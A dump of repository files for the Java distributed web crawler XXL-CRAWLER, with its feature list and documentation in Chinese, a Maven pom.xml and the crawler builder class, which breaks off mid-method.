8、失败重试：请求失败后重试，并支持设置重试次数；\n- 9、代理IP：对抗反采集策略规则WAF；\n- 10、动态代理：支持运行时动态调整代理池，以及自定义代理池路由策略；\n- 11、异步：支持同步、异步两种方式运行；\n- 12、扩散全站：支持以现有URL为起点扩散爬取整站；\n- 13、去重：防止重复爬取；\n- 14、URL白名单：支持设置页面白名单正则，过滤URL；\n- 15、自定义请求信息，如：请求参数、Cookie、Header、UserAgent轮询、Referrer等；\n- 16、动态参数：支持运行时动态调整请求参数；\n- 17、超时控制：支持设置爬虫请求的超时时间；\n- 18、主动停顿：爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\n\n\n## Communication\n\n- [社区交流](https://www.xuxueli.com/page/community.html)\n\n\n## Contributing\nContributions are welcome! Open a pull request to fix a bug, or open an [Issue](https://github.com/xuxueli/xxl-crawler/issues/) to discuss a new feature or change.\n\n欢迎参与项目贡献！比如提交PR修复一个bug，或者新建 [Issue](https://github.com/xuxueli/xxl-crawler/issues/) 讨论新特性或者变更。\n\n## 接入登记\n更多接入的公司，欢迎在 [登记地址](https://github.com/xuxueli/xxl-crawler/issues/1 ) 登记，登记仅仅为了产品推广。\n\n\n## Copyright and License\nThis product is open source and free, and will continue to provide free community technical support. Individual or enterprise users are free to access and use.\n\n- Licensed under the GNU General Public License (GPL) v3.\n- Copyright (c) 2015-present, xuxueli.\n\n产品开源免费，并且将持续提供免费的社区技术支持。个人或企业内部可自由的接入和使用。\n\n\n## Donate\nNo matter how much the amount is enough to express your thought, thank you very much ：）     [To donate](https://www.xuxueli.com/page/donate.html )\n\n无论金额多少都足够表达您这份心意，非常感谢 ：）      [前往捐赠](https://www.xuxueli.com/page/donate.html )\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/doc/XXL-CRAWLER官方文档.md",
    "content": "## 《分布式爬虫框架XXL-CRAWLER》\n\n[![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.xuxueli/xxl-crawler/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.xuxueli/xxl-crawler/)\n[![GitHub release](https://img.shields.io/github/release/xuxueli/xxl-crawler.svg)](https://github.com/xuxueli/xxl-crawler/releases)\n[![License](https://img.shields.io/badge/license-GPLv3-blue.svg)](http://www.gnu.org/licenses/gpl-3.0.html)\n[![donate](https://img.shields.io/badge/%24-donate-ff69b4.svg?style=flat-square)](https://www.xuxueli.com/page/donate.html)\n\n[TOCM]\n\n[TOC]\n\n## 一、简介\n\n### 1.1 概述\nXXL-CRAWLER 是一个分布式爬虫框架。一行代码开发一个分布式爬虫，拥有\"多线程、异步、IP动态代理、分布式、JS渲染\"等特性；\n\n### 1.2 特性\n- 1、简洁：API直观简洁，可快速上手；\n- 2、轻量级：底层实现仅强依赖jsoup，简洁高效；\n- 3、模块化：模块化的结构设计，可轻松扩展\n- 4、面向对象：支持通过注解，方便的映射页面数据到PageVO对象，底层自动完成PageVO对象的数据抽取和封装返回；单个页面支持抽取一个或多个PageVO\n- 5、多线程：线程池方式运行，提高采集效率；\n- 6、分布式支持：通过扩展 \"RunData\" 模块，并结合Redis或DB共享运行数据可实现分布式。默认提供LocalRunData单机版爬虫。\n- 7、JS渲染：通过扩展 \"PageLoader\" 模块，支持采集JS动态渲染数据。原生提供 Jsoup(非JS渲染，速度更快)、HtmlUnit(JS渲染)、Selenium+Phantomjs(JS渲染，兼容性高) 等多种实现，支持自由扩展其他实现。\n- 8、失败重试：请求失败后重试，并支持设置重试次数；\n- 9、代理IP：对抗反采集策略规则WAF；\n- 10、动态代理：支持运行时动态调整代理池，以及自定义代理池路由策略；\n- 11、异步：支持同步、异步两种方式运行；\n- 12、扩散全站：支持以现有URL为起点扩散爬取整站；\n- 13、去重：防止重复爬取；\n- 14、URL白名单：支持设置页面白名单正则，过滤URL；\n- 15、自定义请求信息，如：请求参数、Cookie、Header、UserAgent轮询、Referrer等；\n- 16、动态参数：支持运行时动态调整请求参数；\n- 17、超时控制：支持设置爬虫请求的超时时间；\n- 18、主动停顿：爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\n\n\n### 1.3 下载\n\n#### 文档地址\n\n- [中文文档](https://www.xuxueli.com/xxl-crawler/)\n\n#### 源码仓库地址\n\n源码仓库地址 | Release Download\n--- | ---\n[https://github.com/xuxueli/xxl-crawler](https://github.com/xuxueli/xxl-crawler) | [Download](https://github.com/xuxueli/xxl-crawler/releases)\n[https://gitee.com/xuxueli0323/xxl-crawler](https://gitee.com/xuxueli0323/xxl-crawler) | [Download](https://gitee.com/xuxueli0323/xxl-crawler/releases)  \n\n\n#### 技术交流\n- [社区交流](https://www.xuxueli.com/page/community.html)\n\n### 1.4 环境\n- JDK：1.7+\n\n\n## 二、快速入门\n\n### 爬虫示例参考  \n(爬虫示例代码位于 /test 目录下)\n- 1、爬取页面数据并封装VO对象\n- 2、爬取页面，下载Html文件\n- 3、爬取页面，下载图片文件\n- 4、爬取页面，代理IP方式\n- 5、爬取公开的免费代理，生成动态代理池\n- 6、分布式爬虫示例\n- 7、JS渲染方式采集数据，\"htmlUnit\" 方案\n- 8、JS渲染方式采集数据，\"selenisum + phantomjs\" 方案\n- 9、采集非Web页面，如JSON接口等，直接输出响应数据\n\n### 第一步：引入Maven依赖\n```\n<dependency>\n    <groupId>com.xuxueli</groupId>\n    <artifactId>xxl-crawler</artifactId>\n    <version>${最新稳定版}</version>\n</dependency>\n```\n\n### 第二步：定义 \"PageVo/页面数据对象\"（可选）\n> 在此推荐两款工具，可以直观迅速的获取页面元素的Jquery cssQuery表达式。\n- 1、Chrome DevTools：首先定位元素位置，然后从Element选中选中元素，点击右键选择“Copy + Copy selector”即可;\n- 2、Jquery Selector Helper（Chrome插件）：首先定位元素位置，然后从Element右侧打开Selector界面，然后定位元素即可；\n \n```java\n// PageSelect 注解：从页面中抽取出一个或多个VO对象；\n@PageSelect(cssQuery = \"body\")\npublic static class PageVo {\n\n    @PageFieldSelect(cssQuery = \".blog-heading .title\")\n    private String title;\n\n    @PageFieldSelect(cssQuery = \"#read\")\n    private int read;\n\n    @PageFieldSelect(cssQuery = \".comment-content\")\n    private List<String> comment;\n\n    // set get\n}\n```\n\n### 第三步：创建爬虫\n```java\nXxlCrawler crawler = new XxlCrawler.Builder()\n    .setUrls(\"https://my.oschina.net/xuxueli/blog\")\n    .setWhiteUrlRegexs(\"https://my\\\\.oschina\\\\.net/xuxueli/blog/\\\\d+\")\n    .setThreadCount(3)\n    .setPageParser(new PageParser<PageVo>() {\n        @Override\n        public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n            // 解析封装 PageVo 对象\n            String pageUrl = html.baseUri();\n            System.out.println(pageUrl + \"：\" + pageVo.toString());\n        }\n    })\n    .build();\n```\n\n### 第四步：启动爬虫\n```java\ncrawler.start(true);\n```\n\n\n## 三、总体设计\n\n### 架构图\n\n![输入图片说明](https://www.xuxueli.com/doc/static/xxl-crawler/images/img01.png \"在这里输入图片标题\")\n\n### 3.1 功能定位\n\nXXL-CRAWLER 是一个分布式Web爬虫框架。采用模块化设计，各个模块可灵活进行自定义和扩展。\n\n借助 XXL-CRAWLER，一行代码开发一个分布式爬虫。\n\n### 3.2 核心概念\n\n概念 | 说明\n--- | ---\nXxlCrawler | 爬虫对象，维护爬虫信息\nPageVo | 页面数据对象，一张Web页面可抽取一个或多个PageVo\nPageLoader | Wed页面加载器，负责加载页面数据，支持灵活的自定义和扩展\nPageParser | Wed页面解析器，绑定泛型PageVO后将会自动抽取页面数据对象，同时支持运行时调整请求参数信息；\nNonPageParser ： 非Web页面解析器，如JSON接口等，直接输出响应数据 \n\n### 3.3 爬虫对象：XxlCrawler\n功能：爬虫对象，维护爬虫信息，可选属性如下。\n\n方法 | 说明\n--- | ---\nsetUrls | 待爬的URL列表\nsetAllowSpread | 允许扩散爬取，将会以现有URL为起点扩散爬取整站\nsetWhiteUrlRegexs | URL白名单正则，非空时进行URL白名单过滤页面\nsetIfPost | 请求方式：true=POST请求、false=GET请求\nsetUserAgent | UserAgent\nsetParamMap | 请求参数\nsetCookieMap | 请求Cookie\nsetTimeoutMillis | 超时时间，毫秒\nsetPauseMillis | 停顿时间，爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\nsetProxyMaker | 代理生成器，支持设置代理IP，同时支持调整代理池实现动态代理；\nsetThreadCount | 爬虫并发线程数\nsetPageParser | 页面解析器\nsetPageLoader | 页面加载器，默认提供 \"JsoupPageParser\" 和 \"HtmlUnitPageLoader\" 两种实现；\nsetRunData  | 设置运行时数据模型，默认提供LocalRunData单机模型，支持扩展实现分布式模型；\nstart   | 运行爬虫，可通过入参控制同步或异步方式运行\nstop    | 终止爬虫\n\n### 3.4 核心注解：PageSelect\n\n功能：描述页面数据对象，通过该注解从页面抽取PageVo数据信息，可选属性如下。\n\nPageSelect | 说明\n--- | ---\ncssQuery | CSS选择器, 如 \"#body\"\n\n### 3.5 核心注解：PageFieldSelect\n\n功能：描述页面数据对象的属性信息，通过该注解从页面抽取PageVo的属性信息，可选属性如下。  \n（支持基础数据类型 T ，包括 List<T>）\n\nPageFieldSelect | 说明\n--- | ---\ncssQuery | CSS选择器, 如 \"#title\"\nselectType | jquery 数据抽取方式，如 \".html()/.text()/.val()/.attr()\"等\nselectVal | jquery 数据抽取参数，SelectType=ATTR 时有效，如 \".attr(\"abs:src\")\"\ndatePattern | 时间格式化，日期类型数据有效\n\n### 3.6 多线程\n以线程池方式并行运行，提供对应API（可参考\"章节3.3\"）调整线程池大小，提高运行效率；\n\n### 3.7 异步\n支持同步、异步两种方式启动运行。\n\n- 同步：将会阻塞业务逻辑，爬虫爬取完全部页面后才会继续执行后续逻辑。\n- 异步：不会阻塞业务逻辑，爬虫逻辑以异步方式运行。\n\n### 3.8 动态代理\nProxyMaker（代理生成器）：实现代理支持的组件。支持设置代理IP，同时支持调整代理池实现动态代理；\n\n系统已经提供了两种策略实现；\n- RoundProxyMaker（循环代理生成器）: 以循环方式获取代理池中代理；\n- RandomProxyMaker（随机代理生成器）: 以随机方式获取代理池中代理；\n\n### 3.9、PageParser\nPageParser（页面解析器）：绑定泛型PageVO后将会自动抽取页面数据对象，同时支持运行时调整请求参数信息；\n\n内部方法 | 说明\n--- | ---\npublic void preParse(PageRequest pageRequest) | 可选实现，发起页面请求之前触发调用，可基于此运行时调整请求参数；\npublic abstract void parse(Document html, Element pageVoElement, T pageVo) | 必须实现，页面抽离封装每个PageVO之后触发调用，可基于此处理PageVO文档或数据；\n\n### 3.10、分布式支持 & RunData\n支持自定义RunData(运行时数据模型)并结合Redis或DB共享运行数据来实现分布式爬虫。默认提供LocalRunData实现单机版爬虫。\n\n- RunData：运行时数据模型，维护爬虫运行时的URL和白名单规则。\n    - 单机：单机方式维护爬虫运行数据，默认提供 \"LocalRunData\" 的单机版实现。\n    - 分布式/集群：集群方式维护爬虫爬虫运行数据，可通过Redis或DB定制实现。\n\nRunData抽象方法 | 说明\n--- | ---\npublic abstract boolean addUrl(String link); | 新增一个待采集的URL，接口需要做URL去重，爬虫线程将会获取到并进行处理；\npublic abstract String getUrl(); | 获取一个待采集的URL，并且将它从\"待采集URL池\"中移除，并且添加到\"已采集URL池\"中；\npublic abstract int getUrlNum(); | 获取待采集URL数量；\n\n### 3.11、JS动态渲染 & PageLoader\n页面数据通过 \"PageLoader\" 组件加载，默认使用以下两种实现：\n- JsoupPageLoader：速度最快，推荐采用这种方式（不支持JS动态渲染）；\n- HtmlUnitPageLoader：支持JS动态渲染；\n- SeleniumPhantomjsPageLoader：支持JS动态渲染，\"selenisum + phantomjs\" 方案，兼容性较高；\n\n得益于模块化结构设计，可自由扩展其他 \"PageLoader\" 实现，如 \"selenisum + chrome/headless\" 方式等；\n\n注意：\n- 1、HtmlUnitPageLoader 为扩展功能，因此maven依赖（htmlunit）scope为provided类型，使用时请单独引入；\n- 2、SeleniumPhantomjsPageLoader 为扩展功能，因此maven依赖（selenisum + phantomjs）scope为provided类型，使用时请单独引入；\n- 3、JS渲染方式采集数据实用性广，但是也存在缺点，如下：\n    - 2.1：JS渲染，速度较慢；\n    - 2.1：JS渲染，环境要求较高；\n    - 2.3：在需要JS渲染的场景下，推荐做法是：分析页面请求，模拟并主动发起Ajax请求来代替JS引擎自动请求渲染。因为速度更快，更可控；\n\n\n## 四、版本更新日志\n### 版本 V1.0.0，新特性[2017-09-13]\n- 1、面向对象：通过VO对象描述页面信息，提供注解方便的映射页面数据，爬取结果主动封装Java对象返回；\n- 2、多线程：线程池方式并行运行；\n- 3、异步：支持同步、异步两种方式运行；\n- 4、扩散全站：支持以入口URL为起点扩散爬取整站；\n- 5、去重：防止重复爬取；\n- 6、URL白名单：支持设置页面白名单正则，过滤URL；\n- 7、自定义请求信息，如：请求参数、Cookie、Header、UserAgent轮询、Referrer等；\n- 8、轻量级：底层实现仅依赖jsoup，简洁高效；\n- 9、超时控制：支持设置爬虫请求的超时时间；\n- 10、主动停顿：爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\n- 11、单个页面支持抽取一个或多个PageVO；\n\n### 版本 V1.1.0，新特性[2017-11-08]\n- 1、页面默认cssQuery调整为html标签；\n- 2、升级Jsoup至1.11.1版本；\n- 3、修复PageVO注解失效的问题；\n- 4、属性注解参数attributeKey调整为selectVal；\n- 5、代理IP：对抗反采集策略规则WAF；\n- 6、动态代理：支持运行时动态调整代理池，以及自定义代理池路由策略；\n\n### 版本 V1.2.0，新特性[2017-12-14]\n- 1、爬虫Builder底层API优化；\n- 2、支持设置请求Headers；\n- 3、支持设置多UserAgent轮询；\n- 4、失败重试：支持请求失败后主动重试，并支持设置重试次数；\n- 5、动态参数：支持运行时动态调整请求参数；\n- 6、分布式支持：支持自定义RunData(运行时数据模型)并结合Redis或DB共享运行数据来实现分布式。默认提供LocalRunData单机版爬虫。\n\n### 版本 V1.2.1，新特性[2018-02-07]\n- 1、JS渲染：支持JS渲染方式采集数据，可参考 \"爬虫示例6\"；\n- 2、抽象并设计PageLoader，方便自定义和扩展页面加载逻辑，如JS渲染等。底层提供 \"JsoupPageLoader(默认/推荐)\"，\"HtmlUnitPageLoader\"两种实现，可自定义其他类型PageLoader如 \"Selenium\" 等；\n- 3、修复Jsoup默认加载1M的限制；\n- 4、爬虫线程中断处理优化；\n\n### 版本 V1.2.2，新特性[2018-10-24]\n- 1、系统底层重构，规范包名；\n- 2、采集线程白名单过滤优化，避免冗余失败重试；\n- 3、增强JS渲染方式采集能力，原生新提供 \"SeleniumPhantomjsPageLoader\"，支持以 \"selenisum + phantomjs\" 方式采集页面数据；\n- 4、支持采集非Web页面，如JSON接口等，直接输出响应数据；选择 \"NonPageParser\" 即可；\n\n### 版本 V1.3.0，新特性[迭代中]\n- 1、[ING]增强JS渲染采集能力，原生提供 \"selenium chrome headless\" 方案实现，并提供开箱即用的 PageLoader ；\n- 2、[ING]进一步优化 selenium 特性兼容问题；\n\n\n### TODO LIST\n- 1、扩展SelectType；\n- 2、协程，搁置，jsoup/htmlunit/selenisum协程兼容性低；\n- 3、bloomfilter去重，可选接入，大数据量下推荐；\n- 4、对抗爬虫蜜罐，成功率检测，历史数据学习；\n- 5、对抗主动休眠防御，Timeout即可；\n- 6、页面生僻字中文乱码处理；\n- 7、HTTPS站点支持；\n\n## 五、其他\n\n### 5.1 项目贡献\n欢迎参与项目贡献！比如提交PR修复一个bug，或者新建 [Issue](https://github.com/xuxueli/xxl-crawler/issues/) 讨论新特性或者变更。\n\n### 5.2 用户接入登记\n更多接入的公司，欢迎在 [登记地址](https://github.com/xuxueli/xxl-crawler/issues/1 ) 登记，登记仅仅为了产品推广。\n\n### 5.3 开源协议和版权\n产品开源免费，并且将持续提供免费的社区技术支持。个人或企业内部可自由的接入和使用。\n\n- Licensed under the GNU General Public License (GPL) v3.\n- Copyright (c) 2015-present, xuxueli.\n\n---\n### 捐赠\n无论金额多少都足够表达您这份心意，非常感谢 ：）      [前往捐赠](https://www.xuxueli.com/page/donate.html )"
  },
  {
    "path": "jun_java_plugins/jun_crawler/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_crawler</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>${project.artifactId}</name>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<maven.compiler.encoding>UTF-8</maven.compiler.encoding>\n\t\t<maven.compiler.source>1.7</maven.compiler.source>\n\t\t<maven.compiler.target>1.7</maven.compiler.target>\n\n\t\t<maven.test.skip>true</maven.test.skip>\n\n\t\t<jsoup.version>1.11.2</jsoup.version>\n\t\t<htmlunit.version>2.24</htmlunit.version>\n\t\t<selenium-java.version>2.53.1</selenium-java.version>\n\t\t<phantomjs.version>1.3.0</phantomjs.version>\n\n\t\t<slf4j-api.version>1.7.25</slf4j-api.version>\n\t\t<junit.version>4.11</junit.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- jsoup -->\n\t\t<dependency>\n\t\t\t<groupId>org.jsoup</groupId>\n\t\t\t<artifactId>jsoup</artifactId>\n\t\t\t<version>${jsoup.version}</version>\n\t\t</dependency>\n\n\t\t<!-- slf4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>${slf4j-api.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- junit -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- htmlunit -->\n\t\t<dependency>\n\t\t\t<groupId>net.sourceforge.htmlunit</groupId>\n\t\t\t<artifactId>htmlunit</artifactId>\n\t\t\t<version>${htmlunit.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- selenium -->\n\t\t<dependency>\n\t\t\t<groupId>org.seleniumhq.selenium</groupId>\n\t\t\t<artifactId>selenium-java</artifactId>\n\t\t\t<version>${selenium-java.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<!-- phantomjs -->\n\t\t<dependency>\n\t\t\t<groupId>com.codeborne</groupId>\n\t\t\t<artifactId>phantomjsdriver</artifactId>\n\t\t\t<version>${phantomjs.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t</plugins>\n\t</build>\n\n\t<licenses>\n\t\t<license>\n\t\t\t<name>GNU General Public License version 3</name>\n\t\t\t<url>https://opensource.org/licenses/GPL-3.0</url>\n\t\t</license>\n\t</licenses>\n\n\t<scm>\n\t\t<tag>master</tag>\n\t\t<url>https://github.com/xuxueli/xxl-crawler.git</url>\n\t\t<connection>scm:git:https://github.com/xuxueli/xxl-crawler.git</connection>\n\t\t<developerConnection>scm:git:git@github.com:xuxueli/xxl-crawler.git</developerConnection>\n\t</scm>\n\t<developers>\n\t\t<developer>\n\t\t\t<id>XXL</id>\n\t\t\t<name>xuxueli</name>\n\t\t\t<email>931591021@qq.com</email>\n\t\t\t<url>https://github.com/xuxueli</url>\n\t\t</developer>\n\t</developers>\n\n\t<profiles>\n\n\t\t<profile>\n\t\t\t<id>release</id>\n\t\t\t<build>\n\t\t\t\t<plugins>\n\t\t\t\t\t<!-- Source -->\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t\t\t<version>3.0.1</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar-no-fork</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<!-- Javadoc -->\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t\t\t\t<version>3.0.0</version>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t\t<!-- GPG -->\n\t\t\t\t\t<plugin>\n\t\t\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t\t\t\t<version>1.6</version>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<useAgent>false</useAgent>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t\t<executions>\n\t\t\t\t\t\t\t<execution>\n\t\t\t\t\t\t\t\t<phase>verify</phase>\n\t\t\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t\t\t<goal>sign</goal>\n\t\t\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t\t</execution>\n\t\t\t\t\t\t</executions>\n\t\t\t\t\t</plugin>\n\t\t\t\t</plugins>\n\t\t\t</build>\n\t\t\t<distributionManagement>\n\t\t\t\t<snapshotRepository>\n\t\t\t\t\t<id>oss</id>\n\t\t\t\t\t<url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n\t\t\t\t</snapshotRepository>\n\t\t\t\t<repository>\n\t\t\t\t\t<id>oss</id>\n\t\t\t\t\t<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n\t\t\t\t</repository>\n\t\t\t</distributionManagement>\n\t\t</profile>\n\t</profiles>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/XxlCrawler.java",
    "content": "package com.jun.plugin.crawler;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.loader.PageLoader;\nimport com.jun.plugin.crawler.model.RunConf;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.proxy.ProxyMaker;\nimport com.jun.plugin.crawler.rundata.RunData;\nimport com.jun.plugin.crawler.rundata.strategy.LocalRunData;\nimport com.jun.plugin.crawler.thread.CrawlerThread;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\n\n/**\n *  xxl crawler\n *\n *  Created by xuxueli on 2015-05-14 22:44:43\n */\npublic class XxlCrawler {\n    private static Logger logger = LoggerFactory.getLogger(XxlCrawler.class);\n\n    // run data\n    private volatile RunData runData = new LocalRunData();                          // 运行时数据模型\n\n    // run conf\n    private volatile RunConf runConf = new RunConf();                               // 运行时配置\n\n    // thread\n    private int threadCount = 1;                                                    // 爬虫线程数量\n    private ExecutorService crawlers = Executors.newCachedThreadPool();             // 爬虫线程池\n    private List<CrawlerThread> crawlerThreads = new CopyOnWriteArrayList<CrawlerThread>();     // 爬虫线程引用镜像\n\n    // ---------------------- get ----------------------\n\n    public RunData getRunData() {\n        return runData;\n    }\n\n    public RunConf getRunConf() {\n        return runConf;\n    }\n\n    // ---------------------- builder ----------------------\n    public static class Builder {\n        private XxlCrawler crawler = new XxlCrawler();\n\n        // run data\n        /**\n         * 设置运行数据类型\n         *\n         * @param runData\n         * @return Builder\n         */\n        public Builder setRunData(RunData runData){\n            crawler.runData = runData;\n            return this;\n        }\n\n        /**\n         * 待爬的URL列表\n         *\n         * @param urls\n         * @return Builder\n         */\n        public Builder setUrls(String... urls) {\n            if (urls!=null && urls.length>0) {\n                for (String url: urls) {\n                    crawler.runData.addUrl(url);\n                }\n            }\n            return this;\n        }\n\n        // run conf\n        /**\n         * 允许扩散爬取，将会以现有URL为起点扩散爬取整站\n         *\n         * @param allowSpread\n         * @return Builder\n         */\n        public Builder setAllowSpread(boolean allowSpread) {\n            crawler.runConf.setAllowSpread(allowSpread);\n            return this;\n        }\n\n        /**\n         * URL白名单正则，非空时进行URL白名单过滤页面\n         *\n         * @param whiteUrlRegexs\n         * @return Builder\n         */\n        public Builder setWhiteUrlRegexs(String... whiteUrlRegexs) {\n            if (whiteUrlRegexs!=null && whiteUrlRegexs.length>0) {\n                for (String whiteUrlRegex: whiteUrlRegexs) {\n                    crawler.runConf.getWhiteUrlRegexs().add(whiteUrlRegex);\n                }\n            }\n            return this;\n        }\n\n        /**\n         * 页面解析器\n         *\n         * @param pageParser\n         * @return Builder\n         */\n        public Builder setPageParser(PageParser pageParser){\n            crawler.runConf.setPageParser(pageParser);\n            return this;\n        }\n\n        /**\n         * 页面下载器\n         *\n         * @param pageLoader\n         * @return Builder\n         */\n        public Builder setPageLoader(PageLoader pageLoader){\n            crawler.runConf.setPageLoader(pageLoader);\n            return this;\n        }\n\n        // site\n        /**\n         * 请求参数\n         *\n         * @param paramMap\n         * @return Builder\n         */\n        public Builder setParamMap(Map<String, String> paramMap){\n            crawler.runConf.setParamMap(paramMap);\n            return this;\n        }\n\n        /**\n         * 请求Cookie\n         *\n         * @param cookieMap\n         * @return Builder\n         */\n        public Builder setCookieMap(Map<String, String> cookieMap){\n            crawler.runConf.setCookieMap(cookieMap);\n            return this;\n        }\n\n        /**\n         * 请求Header\n         *\n         * @param headerMap\n         * @return Builder\n         */\n        public Builder setHeaderMap(Map<String, String> headerMap){\n            crawler.runConf.setHeaderMap(headerMap);\n            return this;\n        }\n\n        /**\n         * 请求UserAgent\n         *\n         * @param userAgents\n         * @return Builder\n         */\n        public Builder setUserAgent(String... userAgents){\n            if (userAgents!=null && userAgents.length>0) {\n                for (String userAgent: userAgents) {\n                    if (!crawler.runConf.getUserAgentList().contains(userAgent)) {\n                        crawler.runConf.getUserAgentList().add(userAgent);\n                    }\n                }\n            }\n            return this;\n        }\n\n        /**\n         * 请求Referrer\n         *\n         * @param referrer\n         * @return Builder\n         */\n        public Builder setReferrer(String referrer){\n            crawler.runConf.setReferrer(referrer);\n            return this;\n        }\n\n        /**\n         * 请求方式：true=POST请求、false=GET请求\n         *\n         * @param ifPost\n         * @return Builder\n         */\n        public Builder setIfPost(boolean ifPost){\n            crawler.runConf.setIfPost(ifPost);\n            return this;\n        }\n\n        /**\n         * 超时时间，毫秒\n         *\n         * @param timeoutMillis\n         * @return Builder\n         */\n        public Builder setTimeoutMillis(int timeoutMillis){\n            crawler.runConf.setTimeoutMillis(timeoutMillis);\n            return this;\n        }\n\n        /**\n         * 停顿时间，爬虫线程处理完页面之后进行主动停顿，避免过于频繁被拦截；\n         *\n         * @param pauseMillis\n         * @return Builder\n         */\n        public Builder setPauseMillis(int pauseMillis){\n            crawler.runConf.setPauseMillis(pauseMillis);\n            return this;\n        }\n\n        /**\n         * 代理生成器\n         *\n         * @param proxyMaker\n         * @return Builder\n         */\n        public Builder setProxyMaker(ProxyMaker proxyMaker){\n            crawler.runConf.setProxyMaker(proxyMaker);\n            return this;\n        }\n\n        /**\n         * 失败重试次数，大于零时生效\n         *\n         * @param failRetryCount\n         * @return Builder\n         */\n        public Builder setFailRetryCount(int failRetryCount){\n            if (failRetryCount > 0) {\n                crawler.runConf.setFailRetryCount(failRetryCount);\n            }\n            return this;\n        }\n\n        // thread\n        /**\n         * 爬虫并发线程数\n         *\n         * @param threadCount\n         * @return Builder\n         */\n        public Builder setThreadCount(int threadCount) {\n            crawler.threadCount = threadCount;\n            return this;\n        }\n\n        public XxlCrawler build() {\n            return crawler;\n        }\n    }\n\n    // ---------------------- crawler thread ----------------------\n\n    /**\n     * 启动\n     *\n     * @param sync  true=同步方式、false=异步方式\n     */\n    public void start(boolean sync){\n        if (runData == null) {\n            throw new RuntimeException(\"xxl crawler runData can not be null.\");\n        }\n        if (runData.getUrlNum() <= 0) {\n            throw new RuntimeException(\"xxl crawler indexUrl can not be empty.\");\n        }\n        if (runConf == null) {\n            throw new RuntimeException(\"xxl crawler runConf can not be empty.\");\n        }\n        if (threadCount<1 || threadCount>1000) {\n            throw new RuntimeException(\"xxl crawler threadCount invalid, threadCount : \" + threadCount);\n        }\n        if (runConf.getPageLoader() == null) {\n            throw new RuntimeException(\"xxl crawler pageLoader can not be null.\");\n        }\n        if (runConf.getPageParser() == null) {\n            throw new RuntimeException(\"xxl crawler pageParser can not be null.\");\n        }\n\n        logger.info(\">>>>>>>>>>> xxl crawler start ...\");\n        for (int i = 0; i < threadCount; i++) {\n            CrawlerThread crawlerThread = new CrawlerThread(this);\n            crawlerThreads.add(crawlerThread);\n        }\n        for (CrawlerThread crawlerThread: crawlerThreads) {\n            crawlers.execute(crawlerThread);\n        }\n        crawlers.shutdown();\n\n        if (sync) {\n            